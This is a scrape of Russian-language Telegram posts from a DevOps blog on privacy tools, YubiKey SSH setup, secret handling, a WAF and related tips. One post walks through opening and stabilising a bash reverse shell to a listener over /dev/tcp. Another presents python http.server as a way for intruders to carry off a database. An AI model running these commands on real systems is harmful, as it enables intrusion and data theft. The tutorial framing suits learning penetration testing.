Bash Days | Linux | DevOps
23.7K subscribers
220 photos
26 videos
773 links
Авторский блог от действующего девопса

Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу.

Автор: Роман Шубин
Реклама: @maxgrue

MAX: https://max.ru/bashdays

Курс: @tormozilla_bot
Блог: https://bashdays.ru
Download Telegram
Я тут это, капчу накрутил. Создавал под один нищенский нишевый проект.

😲 Сможешь пройти?

Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в xdotool. Ну либо клавиатуру купить как на картинке.

Концепт на Bash:


for i in $(seq 1 50); do
xdotool key F24
sleep 1
done


Всем хорошей рабочей недели!

🛠 #security #feature #dev

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
570
Стабилизация реверс-шелла

Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.

Для начала на своей машине запускаем:

nc -lvnp 2288


Этой командой мы откроем порт 2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.

Теперь на подопытной машине запускаем:

/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1


Возвращаемся на свою машину и видим, что коннект произошел:

root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#


Отлично. Пробуем нажать CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.

Стабилизируем shell

script /dev/null -c /bin/bash


Отправляем консоль в бекграунд, нажимаем CTRL+Z

root@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288


Возвращаемся:

stty raw -echo; fg


Нажимаем: ENTER

export TERM=xterm


На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.

Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.

Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:

- Практикуем reverse-shells
- Генератор reverse-shells

🛠 #security #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
566
Интимность данных

Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.

В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.

Как говорил мой знакомый — да кому мы нужны, все наши данные давно уже гуляют по сети. Но когда он узнал, что гугол взял его учетку (со всем содержимым и метаданными) и просто отдал третьим лицам на изучение — начинаешь задумываться, причем становится по настоящему жутковато.


Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.

Ебала рыба озеро! 😲

Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.

Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.

Этот проект помогает включать/отключать privacy и security настройки в Windows / macOS / Linux с помощью готовых «твиков» и скриптов.


Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.

Что внутри:

- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.

Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.

Пользуйся на здоровье, это лучше всяких бинарных твиков!

Ну и не храни на гугол драйве своё хоум-видео с пылесос-отсосом, неровен час сам станешь звездой такого эпизода на которую однажды будут дрочить малдеры с дикого запада.


🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
1173
Как тебя вычисляют по шрифтам

Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).

Пробежимся по кукисам.

Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.

Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.

Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.

Если ты залогинен в гугле и гуляешь в этом же браузере по другим сайтам — гугл это знает. Мало того, при любом звоночке, он без раздумий передаст эту информацию «малдерам».

Звучит как сказка, но у гугла есть статистика сколько они слили данных по таким запросам. И да, когда ты с закрытыми глазами принимал «лицензионное соглашение», в нём все это оговаривалось.


Что же такое fonts fingerprint?

Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.

Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.

Fingerprint это корреляция десятков сигналов во времени.


Как работает классический font fingerprint:

Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.

Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.

Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.

И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.

fonts + canvas + webgl ≈ уникальность > 99%


А чё делать?

Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.

На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.

Отключает webgl fingerprint, режет canvas, нормализует timezone, screen size, locale, отключает webrtc leak, блокирует third-party cookies, выключает телеметрию Mozilla, ломает high-entropy сигналы, всегда врёт одинаково.


LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.

Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.

Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.

Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.

🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
495
Как быстро скачать файл с сервера

Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.

Из ситуации можно выйти проще.

Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.


Заходим в любую папку с файлами и запускаем:

python -m http.server 2977


Если питон старый, потрёпанный и сморщенный как хуй, делаем так:

python -m SimpleHTTPServer 2977


Затем курлим файл и скачиваем его к себе на машину:

curl -O http://linuxfactory.ru:2977/bashdays_db.zip


А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.

Еще бывают случаи когда curl не установлен, но wget есть из коробки:

wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip


Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!

🛠 #security #linux #tricks

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
586
Поднимаем свой поисковик или Fuck The Google!

Продолжаем тему приватности. Кто не в курсе, пару недель назад я отказался от гугла и его сервисов, по некоторым причинам, ну и чтобы бороться с зависимостью я активно переезжаю на проверенные opensource решения.

На этот раз я залез в кроличью нору, отказавшись от поисковиков. Ну как отказавшись, я поднял свой поисковик, который конфиденциально делает запросы в 100500 выбранных тобой поисковиков и агрегирует результаты.

Всё это дело в два клика поднимается как self-hosted, отлично работает с проксями и луковичной маршрутизацией. Как говорится — полный фарш.

Проект называется: SearXNG.

По началу я отнесся к этому решению скептически, но потыкав более вдумчиво мне зашло, зачетная аще штука. Работает быстро, уверенно, выдает релевантную информацию и выглядит очень достойно. Кто бы мог подумать, 25к звезд на гитхабе.

Ну и дополнительно, ребята из нижнего мира активно пользуются этой штуковиной.

Хотя сейчас большинство давно уже переехали в ИИ и задают поисковые вопросы именно там, но все же иногда рука тянется поискать самостоятельно. Сливать в ИИ теже запросы, тоже такое себе, хотя всем плевать.


Композ файл выглядит так:

services:
searxng:
image: searxng/searxng:latest
container_name: searxng
restart: unless-stopped
networks:
- searxng_net
ports:
- "8080:8080"
volumes:
- ./searxng:/etc/searxng
environment:
- SEARXNG_SECRET_KEY=1234567890
read_only: true
tmpfs:
- /tmp
- /etc/ssl/certs
cap_drop:
- ALL
cap_add:
- CHOWN
- SETGID
- SETUID
security_opt:
- no-new-privileges:true

networks:
searxng_net:
driver: bridge


Конфиг ./searchxng/settings.yml:

use_default_settings: true

server:
bind_address: 0.0.0.0
port: 8080
limiter: false
secret_key: "1234567890"
public_instance: false

outgoing:
request_timeout: 3.0
proxies:
http: socks5h://user:password@127.0.0.1:9050
https: socks5h://user:password@127.0.0.1:9050

engines:
- name: ahmia
disabled: true
- name: torch
disabled: true
- name: duckduckgo
disabled: true
- name: startpage
disabled: true


Обращаем внимание на SEARXNG_SECRET_KEY и secret_key они должны быть одинаковыми. Остальное интуитивно понятно. Да, еще если не нужна прокся, можешь закомментировать блок proxies, но рекомендую оставить, воткнуть луковицу либо приобрести быстрые socks5, либо поднять свои.

Запускаем по классике. Заходим в браузере <IP>:8080 и наслаждаемся. Через морду можно покрутить настройки, которых там жопой ешь. Следом прикручивается домен, SSL, basic auth. И по итогу имеешь свой независимый поисковик, без телеметрии и слежки.

Для рядового пользователя это скорее игрушка, но у кого повышенная тревожность вполне зайдёт, тем более с поставленными задачами SearXNG отлично справляется.

Из минусов, не все поисковики лояльны, кто-то может запрашивать капчу, но на это есть официальное решение. Я его не пробовал, мне пока достаточно тех что у меня подключены сейчас.

И да если думаешь что DuckDuckGo панацея — неа, это компания в мудацкой стране под названием США, которая по первому запросу, сольет про тебя всё что на тебя есть, без зазрения совести. Потому что любая компания в США (CLOUD Act) по запросу суда, должна предоставить такие данные.

Если вы ищете что-то через DuckDuckGo, у компании нет вашего IP + истории запросов, чтобы связать эти запросы с вашей личностью. И поэтому даже если есть официальный запрос от ФБР, DuckDuckGo не сможет передать то, чего не хранит.


Не ведись на такое, это ПИЗДЁШЬ! Всё у них есть, не так много как у гугла, но есть, чтобы тебе смогли подвести писю к носу.

Век живи, век учись!

🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
65
Настройка Yubikey + WSL2 + SSH (Часть 1)

TL:DR Настраиваем подключение по ssh к серверам с yubikey, без паролей, физических приватных ключей и смс. Заодно покажу как с помощью хака прокидывать физические USB устройства в WSL машину, авось захочется тебе что-то другое прокинуть и поковырять.


Ставим YubiKey Manager, оно есть под все ОС, я буду ставить на винду и прокидывать ключ в WSL2. Под линукс это все работает из коробки, а вот с виндой + wsl 2— есть проблемы.

Вставляем Yubikey в USB, открываем Manager и проверяем, если всё ок, то ключ появляется. Дополнительно можно проверить в консоли командой: ykman info в ответ получен:

Device type: YubiKey 5 NFC
Serial number: 12345678
Firmware version: 5.7.4
Form factor: Keychain (USB-A)
Enabled USB interfaces: OTP, FIDO, CCID
NFC transport is enabled.


Предварительно в ключ нужно зашить PIN, делается это через тот же Yubikey Manager в разделе Application → FIDO2 → FIDO2 PIN. Забиваем PIN.

PIN можно установить из консоли винды, командой: ykman fido access change-pin. Но если есть морда, то быстрее и приятнее сделать это через морду.


Едем дальше. Прокинуть физический USB в WSL2 не так просто, но есть решение. Называется оно usbipd-win и позволяет прокинуть любую USB железяку внутрь пресловутого WSL2. Скачиваем установщик в разделе Releases и устанавливаем. Рутина.

Дальше еще интереснее. Открываем консоль PowerShell и запускаем:

usbipd list


И видим кучу устройств. Среди всего нужно найти Yubikey, у меня это:

3-2 1050:0407  USB-устройство ввода, Устройство чтения смарт-карт Micros...


Как я это понял? Да банально выткнул ключ из USB, прогнал команду, воткнул и снова прогнал, сравнил что появилось. А появилось именно это устройство, нам нужен его ID, у меня это 1050:0407.

usbipd bind --busid 3-2
usbipd attach --wsl --busid 3-2


Если вылезет ошибка, в большинстве случаев это виндовый фаервол. У меня установлена морда TinyWall, я его на время отключаю. Позже уже добавлю нужные правила.

Нахуя мне фаервол? Хочу держать под контролем софт, который у меня установлен, ну не нравится мне когда что-то утекает без моего ведома, тем более после «гугл приключений».


Так, теперь идем в WSL машину и выполняем sudo lsusb, если всё ок то увидим:

Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 002: ID 1050:0407 Yubico.com Yubikey 4/5


Кайф! Что-то прокинулось. Но что? Терпение!

У меня в WSL живет ubuntu 24, доставляем необходимые пакеты:

sudo apt install -y yubikey-manager fido2-tools


Проверяем:

sudo ykman info

Device type: YubiKey 5 NFC
Serial number: 12345678
Firmware version: 5.7.4
Form factor: Keychain (USB-A)
Enabled USB interfaces: OTP, FIDO, CCID
NFC transport is enabled.

sudo fido2-token -L

/dev/hidraw1: vendor=0x1050, product=0x0407 (Yubico YubiKey)


Да сучка! Поздравляю, мы успешно прокинули USB железяку в WSL2. Нюансы! Кудаж без них. Сейчас ключ виден только руту, а нам надо обычному юзеру. Хакаем систему!

В WSL машине создаем файл /etc/udev/rules.d/99-yubikey.rules:

KERNEL=="hidraw*", SUBSYSTEM=="hidraw", ATTRS{idVendor}=="1050", ATTRS{idProduct}=="0407", MODE="0660", GROUP="plugdev", TAG+="uaccess"


Не забываем вставить ID вендора и продукта, мы их выше уже получили и знаем.

Применяем:

sudo usermod -aG plugdev $USER
sudo udevadm control --reload-rules
sudo udevadm trigger


Всё, для чистоты эксперимента можешь открыть новую консоль и убедиться что рядовой юзер теперь в деле.

Теперь можем генерить ключ и подключаться к серверам.

Продолжение будет завтра, всё в один пост не влезло. Завтра рассмотрим генерацию SSH ключей и как пофиксить баги при фрикциях с USB.

🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
131
Настройка Yubikey + WSL2 + SSH (Часть 2)

Первая часть тут: https://xn--r1a.website/bashdays/1357

Создаём SSH ключ:

ssh-keygen -t ed25519-sk -O resident -C "shuba@bashdays"


Оно запросит у тебя PIN который мы впендюрили в самом начале. Жмем несколько раз Enter и радуемся жизни. Новый приватный ключ создан, записан на Yubikey, публичная же часть ключа упала в ~/.ssh/id_ed25519_sk.pub.

Да, рядом будем лежать файл id_ed25519_sk, но это ничего не меняет, это не приватный ключ, приватный ключ НЕ хранится на диске, он сразу записывается в Yubikey. А то что ты видишь у себя на диске, это дескриптор (handle). Этот файл содержит идентификатор Yubikey ключа, параметры и ссылку на resident key. Приватный ключ физически находится внутри YubiKey и не может быть извлечён.


А дальше по классике. Закидываем публичную часть ключа на нужный сервер и пробуем подключиться:

ssh root@bashdays.ru

Confirm user presence for key ED25519-SK


Опа, прикасаемся своим обрубком к Yubikey и успешно подключаемся к серверу. Также можно сгенерить ключ, который не требует прикосновений, либо вообще сгенерить одноразовые пины, но это уже оверхед безопасность.

Про SSH ключи я подробно расписывал в серии постов по тегу #linuxfactory нажми на тег, получишь список всех этих постов. Настоятельно рекомендую ознакомиться, такому в школах не учат. По крайней мере не рассказывают нюансы.


Фиксим баги:

После того как ты достанешь ключ из USB и затем воткнешь обратно. Всё к хуям сломается. Вот такая особенность винды и WSL2. Поэтому делаем финт ушами. Пишем powershell скрипт, который будет это фиксить.

Создаем файл YubiKeyAttachToWSL.ps1

$yubiKeyBusId = (usbipd list | Select-String "1050:0407" |
ForEach-Object { $_.Line.Split()[0] })
if ($yubiKeyBusId) {
usbipd attach --wsl --busid $yubiKeyBusId
Write-Host "YubiKey attached…"
} else {
Write-Host "YubiKey not found."
}


Не забываем изменить ID вендора и продукта. Закидываем скрипт в виндовый планировщик с параметрами:

Триггер:

- At log on (при входе в систему)
- On Event (событие USB)
- Log: System, Source: WudfUsbccidDrv, Event ID: 104

Действие:

- Запуск powershell.exe с аргументами -ExecutionPolicy Bypass -File "C:\YubiKeyAttachToWSL.ps1"

Теперь этот скрипт будет запускать при входе в систему ну и если ты будешь тыркать Yubikey туда-сюда в USB портах. Автоматизация ёпта!

Всё! Поставленная задача успешно решена. Что важно, тут не только потыкали Yubikey + SSH, но и научились прокидывать USB устройства в WSL2.

Всё остальное поищешь сам, информации полно. Я показал тебе лишь неочевидные штуки, которые могут загнать в тупик и свести с ума.

Изучай!

🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
22
Продолжаем параноить. Сегодня будем создавать шифрованную капсулу времени. То есть зашифрованные данные, невозможно будет расшифровать до какой-то определенной даты.

Очень удобно, если ты умер и хочешь чтобы твой отпрыск получил по наследству пароли от золотой коллекции прона, которую ты собирал 30 лет. Но ларчик должен открыться строго в 18 лет.


Для реализации желаемого, воспользуемся утилитой под названием tlock.

TLock — это шифрование с отложенным доступом, которое опирается на доверенную аппаратную среду (TEE, чаще всего Intel SGX). Идея всего этого безумия до безобразия простая и красивая:

— данные шифруются сейчас
— ключ не существует в открытом виде
— расшифровка после определённого времени
— даже владелец не может ускорить процесс

Есть TEE (Trusted Execution Environment), работает на drand (League of Entropy) + threshold BLS + Identity-Based Encryption. Дада, Artmoney тут тебе не поможет. Внутри TEE генерируется секрет, считается время, вычисляется ключ.

Ключ == f(секрет, время)


Пока время не наступило, ключ не вычисляется, не извлекается, не брутфорсится. Даже если ты владелец и у тебя есть дампы памяти, у тебя нихуя не получится ничего дешифровать.

Короче это нифига не cron + sleep, timestamp и т.п. Это прям технолоджи!

Устанавливаем:

1. Качаем бинарник для своей ОС: https://github.com/drand/tlock/releases/
2. Кидаем куда удобно, я закинул в /usr/local/sbin

Создаем условный файл:

cd /tmp
echo "hello bashdays" >> bashdays.txt


Шифруем:

tle -e -D 10d -o bashdays.tlock bashdays.txt


Этот файл можно будет расшифровать только через 10 дней. Если сейчас посмотреть файл bashdays.tlock то увидим кучу мусора:

age-encryption.org/v1
-> tlock 26260588 52db9ba70e0cc0f6eaf7803dd07447a1f5477735fd3f661792ba94600c84e971
jhUpzCk/LXUTkwghwKbyGH1gZ2BEy3p47X4yf+8qrv7+BIhJvEUK6QsVZNnZupxK
CsP1d2kGQAsy6GfEc544aZURB3zK3999bQbXzuhA0u4JV0J27ZqnjKBdtx2az603
tF54aRojO3OmwC2JNTkO/ObQID2xJTTidpgP8K1AEac
--- pN0y6uBfL8KOcoXKp1U6T0gbrWrgDoCmwJxBZ7LHspw
#�4x�&V����S�&e`�S�`���
z��? �A��%


Попробуем расшифровать:

tle -d -o bashdays.txt bashdays.tlock


И получаем: иди нахуй too early to decrypt: expected round 26260588 > 25972610 current round. Файл можно будет расшифровать только через 10 мать его дней. И пофигу root ты или супер ксакеп, нихуя у тебя не получится проникнуть в эту капсулу времени.

Пример в псевдокоде:

# encryption
ciphertext = TLock.encrypt(
data=plaintext,
unlock_time=TIMESTAMP
)

# decryption
if now() >= TIMESTAMP:
plaintext = TLock.decrypt(ciphertext)
else:
raise Nope("слишком рано")


- key нигде не лежит
- key нельзя украсть
- key нельзя вычислить заранее

Ключей и опций у этой штуковины дофига и больше, поэтому если интересно можешь сам их поизучать. Я принес тебе интересный инструмент, а дальше ты уж сам найди ему применение.

Век живи, век учись. Кстати эта технология применяется в крипте, насколько знаю в Ethereum.

Кстати для шифрования бекапов прям прикольная штука, юморная.

🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
68
Фарш обратно не провернёшь

Порой в Bash поделках требуется создать какой-нибудь секрет, для дальнейшей его передачи в CI/CD или куда-то еще. Ежу понятно, это можно сделать «в лоб», но мыж с тобой не волки позорные, поэтому давай сделаем это по всем правилам DevSecOps Best Practice. (* лучшие практики безопасной разработки).

Задача: Создать безопасно секрет, чтобы его не спиздили (например из свапа при форензике).

Форензика — это направление информационной безопасности, связанное с анализом и восстановлением данных для расследования инцидентов


Кто-то извращается со shred и т.п. утилитами, но это избыточно, да и на SSD, Btrfs, ZFS и journal FS оно будет работать хуева и не гарантирует физическое уничтожение данных. Лучше на диск вообще ничего не писать.

Наш вариант это — pipe через printf. Можно конечно усложнить и сделать через анонимный файловый дескриптор, но получаются те же грабли только сбоку, смысла усложнять нет.

#!/usr/bin/env bash

set -euo pipefail

SECRET="$(openssl rand -base64 32)"

printf '%s' "$SECRET" | \
openssl enc -aes-256-cbc -salt -pbkdf2 -iter 200000 \
-in input.txt \
-out output.enc \
-pass stdin

unset SECRET


Что тут происходит?

Ничего необычного, генерим 32 случайных байта, кодируем в base64, получаем пароль высокой энтропии, затем через printf передаем пароль (без \n) через pipe в stdin.

Ну и в конце скармливаем какой-нибудь утилите или в CI/CD, куда нужно передать секрет, в моем случае я передал его в openssl.

По итогу секрет, не попадает в history, не лежит на диске и временно находится в памяти. Но важно понимать, что после unset SECRET переменная удаляется только из таблицы переменных, в памяти эта переменная может по-прежнему храниться и быть уязвима к форензике. Поэтому носи это в голове и по возможности перезатирай память например тем же stress.

А еще оно может попасть в swap и это еще хуже, swap это прям как неочищенная «корзина» с удаленными файлами.

На bash этот момент описать наверное не получится, поэтому покажу как сделать на Сиськах. Будем использовать mlock().

#include <sys/mman.h>
#include <string.h>
#include <stdio.h>

int main() {
char secret[32] = "super_secret_password";

if (mlock(secret, sizeof(secret)) != 0) {
perror("mlock failed");
return 1;
}

printf("Secret in locked memory\n");

// Используем секрет...

memset(secret, 0, sizeof(secret)); // затираем
munlock(secret, sizeof(secret));

return 0;
}


Когда этот код будет вызывать mlock(), указанный диапазон памяти закрепляется в RAM и ядро не имеет права выгружать его в swap.

Получается что сначала mlock() блокирует участок памяти, затирает memset() её перед освобождением и с помощью munlock() снимает блокировку.

Кстати mlock() используют GnuPG, OpenSSH, HashiVault, KeePassXX. Так что вариант надежный, можешь не сомневаться. А еще иногда используется mlockall():

mlockall(MCL_CURRENT | MCL_FUTURE);


Блокируется вся текущая и будущая память процесса, активно применяется демонами в HashiVault.

Такие дела.

Накидай еще своих вариантов в комменты, будет интересно ознакомиться.

🛠 #dev #security #bash

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
155
Как спрятать IP сервера?

В древние времена, когда еще на территории РФ работал cloudflare, таких вопросов не возникало. Натыкал мышкой и живешь в малине. Даже на бесплатном тарифе.

Но всё это от лукавого, мир изменился, а альтернатив особо и не предложил. Всё что есть на рынке, пиздец дорогое, бесплатно прятать и защищать твой айпишник никто не будет.

У меня есть пару достойных вариантов для тебя, бесплатных. Первый, это поднять дохленькую випиэску, объединить всё в одну общую netbird сеть и проксировать трафик с випиэски на твои поделки, хоть в интернетах, хоть на 1000 NATами.

Сейчас у меня так и организовано, в интернетах торчит випиэска, на ней тоннель и nginx разруливает уже по доменам, причем трафик завязан в мой домашний периметр на проксмокс. И даже микротик не пищит, что у него порты закрыты. Всё работает из коробки.

Второй вариант та же внешняя випиэска, но с поднятым Safeline. Это морда с обвесами, новогодняя ёлка на все случаи жизни. Про неё уже упоминали в гейте, это ничего не меняет.

Оно ставится перед твоими веб-приложением и фильтрует трафик, защищая приложение от самых распространенных атак (SQL injection, XSS, Command injection, Path traversal, File inclusion, Webshell, RCE, боты-хуёты).


Короче говоря заебачий такой WAF. Много крутилок, много перделок. В бесплатной версии хватает с головой (да, есть и платная). Получается ты не только анализируешь трафик, но и прячешь айпишник своих приложений и серверов. Пиздато? Пиздато!

Композ бывалый:

version: "3"

services:
safeline-mgt:
image: chaitin/safeline-mgt:latest
container_name: safeline-mgt
restart: always
ports:
- "9443:9443"
volumes:
- ./data:/data
environment:
- TZ=UTC

safeline-gateway:
image: chaitin/safeline-gateway:latest
container_name: safeline-gateway
restart: always
depends_on:
- safeline-mgt
ports:
- "80:80"
- "443:443"
volumes:
- ./gateway:/gateway
environment:
- MGT_HOST=safeline-mgt


Два базовых контейнера: панель управления, API, хранилище правил, reverse proxy. А вообще в офф доке есть одна команда, которая скачает нужный композ, создать вольюмы и всё запустит:

bash <(curl -sSL https://waf.chaitin.com/release/latest/setup.sh)


Да, поделка Китайская, но опять же это ничего не значит. В Китае пиздатые специалисты.

Рекомендую потыкать, особенно если ищешь вменяемые и бесплатные альтернативы сдохшему клаудфларе.

🛠 #security #services

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
60
Media is too big
VIEW IN TELEGRAM
Сижу, думаю, а чем бы тебя сегодня порадовать? Техническими темами не хочу, блевать от них уже хочется, вчера 5 постов написал на тему Podman, скоро поделюсь, много интересного наковырял.

Лови короче пиздатую игрульку, которую я нашел на днях. Работает в браузере, ничего устанавливать не нужно.

Называется — DeepNet

Это симулятор хакера в стиле киберпанк. Весь интерфейс это терминал, минимум графики. Сделано ОЧЕНЬ реалистично и атмосферно. Выглядит потрясающе.

Основной геймплей примерно такой:

- сканируешь сети (поиск целей)
- находишь сервисы и уязвимости
- подбираешь «эксплойты» под них
- получаешь доступ к системе
- работаешь с файлами через команды Bash команды
- крадёшь данные, чистишь следы, ставишь бэкдоры

Это не сюжетная игра, а скорее песочница с системами, где мир реагирует на твои действия и уровень внимания растет к твоим хакерским проделкам.

По наполненности:


- полностью клавиатурное управление
- онлайн-мир, который меняется со временем
- дофига консольных команд 100+
- симуляция файловых систем
- экономика, продаёшь данные, прокачиваешь железо
- firewall-правила, ханипоты, торги между игроками

Внутри игры есть DeepOS, это ретро десктоп, в котором есть окна, темы, мини приложения, редакторы кода. Можно переключаться между GUI и терминалом.


Лучше один раз потрогать самому, чем читать описание. Затягивает с потрохами. Немного похожа на Hacknet, но более прокаченная, более живая.

Короче потыкай, рекомендую.

🛠 #games #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
146
Цыганское лото: выиграл шляпу — проебал пальто.

Кого бесит поисковик Duckduckgo, есть вполне достойная альтернатива, называется Startpage.

Преподносит себя как супер-пупер приватный из Нидерландов.

Поисковик сам по себе делать нихуя не умеет, но получает результаты из гугла и бинга. И якобы скрывает твои поисковые запросы, данные, айпишники и т.п.

Как это работает:

- Ты вводишь запрос
- Startpage отправляет его в Google от своего имени
- Убирает всё, что может тебя идентифицировать
- Возвращает результат тебе


В итоге гугол «видит» не тебя, а startpage. А капчу за тебя решают бедолаги из стран третьего мира за миску супа и початок кукурузы.

Насколько всё приватно?

Ну на бумаге одно, по делу другое. Если на тебя ордер выпишут, то эта конторка выдаст все что есть на тебя с потрохами.

С другой стороны так делают ВСЕ! Нахуй им заботиться о каком-то чёрте, если их бизнес в разы приоритетнее. Логично? Логично!

Но как альтернатива Duckduckgo, работает вполне вменяемо.

А если хочешь прям нормальную приватность и владеть самостоятельно всеми данными и запросами, то проще поднять свой подобный поисковик. А как это сделать, я уже писал тут.

Такие дела, чё, изучай!

🛠 #services #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
36
Как превратить DNS-сервер в пушку для DDoS-атаки

Разбираем механику DNS Amplification атак и выясняем, почему использование ANY-запросов превращает твой сервер в инструмент для DDoS. Узнай, как работают векторы усиления трафика и как правильно настроить защиту на BIND и Unbound.


